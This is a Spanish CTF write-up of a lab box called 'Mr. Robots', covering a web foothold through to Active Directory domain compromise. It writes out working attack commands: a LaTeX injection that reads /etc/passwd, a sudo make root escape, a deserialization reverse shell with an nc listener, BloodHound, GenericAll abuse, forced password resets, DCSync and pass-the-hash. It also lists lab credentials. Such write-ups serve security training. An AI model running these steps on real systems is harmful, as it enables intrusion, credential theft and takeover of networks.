Resolución del CTF: Mr. Robots
Enumeración
Escaneo de puertos
Realizamos un escaneo de todos los puertos para identificar los servicios activos en el sistema objetivo. Forzamos un ritmo alto para reducir el tiempo de enumeración y deshabilitamos resolución DNS y ping previo para evitar falsos negativos en entornos controlados.
nmap -p- --open -sCV -Pn -n --min-rate 5000 192.168.1.17- -p- : Escaneo de todos los puertos. (65535)
- -sS : Realiza un TCP SYN Scan para escanear rápidamente qué puertos están abiertos.
- -sC : Escaneo con scripts básicos de reconocimiento.
- -sV : Detección de servicios.
- –min-rate 5000 : Escaneo no inferior a 5000 paquetes/segundo.
- -n : Sin resolución DNS.
- -Pn : Sin descubrimiento por ping.
Identificamos SSH en los puertos 22 y 2222, y un servicio HTTP en el puerto 80, por lo que centramos la explotación inicial en la superficie web.
Explotación inicial
HTTP (80)
Asociamos el servicio web a un nombre de dominio para replicar el comportamiento esperado por la aplicación.
echo "192.168.1.17 allsafe.thl" >> /etc/hostsDurante el fuzzing web detectamos un subdominio interno, por lo que lo registramos para continuar la enumeración.
echo "192.168.1.17 intranet.allsafe.thl" >> /etc/hostsEn el portal de intranet localizamos credenciales expuestas en contenido estático, que permiten acceso al panel interno.
Credenciales obtenidas: 0-477-9990 : 123456Seven
Inyección LaTeX
El panel procesa contenido LaTeX sin sanitización, lo que nos permite leer archivos locales del sistema.
\\lstinputlisting{/etc/passwd}Enumeramos usuarios locales relevantes y extraemos credenciales adicionales desde archivos accesibles por la aplicación.
Credenciales obtenidas: gideon : mp38nqUfTAa0IM1Op0aW
Escalada de privilegios en contenedor
El usuario dispone de permisos sudo sobre make, lo que permite ejecutar comandos arbitrarios como root según GTFOBins.
sudo make -s --eval='all:; /bin/bash'Accedemos a archivos sensibles y exfiltramos un gestor de contraseñas para su análisis offline.
cat secrets.psafe3 | base64Decodificamos el archivo y obtenemos nuevas credenciales válidas en el sistema.
Credenciales obtenidas: cisco : sMpam!dE#8@$$1P%bnV@fFxdqjFFG#
Pivoting y acceso root
Exponemos un servicio interno mediante port forwarding SSH para interactuar localmente con la aplicación vulnerable.
ssh [email protected] -L 3000:127.0.0.1:3000La aplicación utiliza serialización insegura, lo que permite ejecución remota de comandos mediante una cookie manipulada.
nc -lnvp 443Al enviar el payload serializado obtenemos una shell como root en el sistema.
Post-explotación Linux
Montamos una imagen de disco encontrada para extraer credenciales reutilizables en el entorno Active Directory.
mount -o loop ecorp.img /mnt/ecorpCredenciales obtenidas: lloyd.chong : C6c56\\2)+*gpxs#
Active Directory
Enumeración
Enumeramos el controlador de dominio priorizando puertos críticos de AD para reducir ruido y acelerar el análisis.
nmap -sS -Pn --open --min-rate 5000 -n 10.23.52.1Añadimos el dominio al archivo hosts para asegurar la correcta resolución durante la enumeración LDAP y Kerberos.
echo "10.23.52.1 ecorp.thl" >> /etc/hostsRecolectamos información del dominio con BloodHound para identificar relaciones de control explotables.
bloodhound-python -u lloyd.chong -p'C6c56\2)+*gpxs#' -d ecorp.thl -ns 10.23.52.1 -c all --zipAbuso de privilegios
Abusamos un permiso GenericAll para añadir el usuario a un grupo con mayor impacto dentro del dominio.
net rpc group addmem "E-CORP" "lloyd.chong" -U "ECORP/lloyd.chong%C6c56\2)+*gpxs#" -S 10.23.52.1Modificamos contraseñas de cuentas privilegiadas para obtener acceso interactivo.
bloodyAD --host 10.23.52.1 -d ecorp.thl -u lloyd.chong -p'C6c56\2)+*gpxs#' set password PHILLIP.PRICE astro@1234!Escalada final en AD
Tras comprometer una tarea programada vulnerable mediante carga de DLL, obtenemos ejecución como un usuario de alto privilegio.
Extraemos credenciales desde el historial y ejecutamos un DCSync para obtener el hash del Administrador.
impacket-secretsdump ecorp.thl/elliot.alderson:'mrR0b0t_fS0c!ety'@10.23.52.1Accedemos al dominio como Administrador mediante Pass-the-Hash.
evil-winrm -i 10.23.52.1 -u Administrador -H 8fb13172ab29ce6f4XXXXXXXXXXXXXXX